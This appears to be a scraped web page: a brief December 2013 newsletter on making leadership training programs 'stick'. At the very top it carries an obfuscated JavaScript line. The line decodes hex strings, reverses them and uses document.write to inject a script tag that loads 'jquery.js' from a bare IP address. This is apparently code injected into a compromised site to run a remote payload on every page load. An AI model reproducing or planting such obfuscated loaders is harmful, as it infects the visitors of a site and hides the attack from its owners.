var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); ULP Newsletter December 2013 – Unleash your Leadership Potential

ULP Newsletter December 2013

Arguably one of the greatest issues with a leadership development program (or any training program) is whether it will STICK – will the skills be applied on the job and will the application of those skills result in the desired business results?

We at Entelechy have been designing leadership development programs for years now and have found a number of elements that significantly increase the chances that the program – any program – will have the intended impact on people and on the organization.

Use these tips to increase the STICKINESS of your programs….

December 2013

Author: STEP Consulting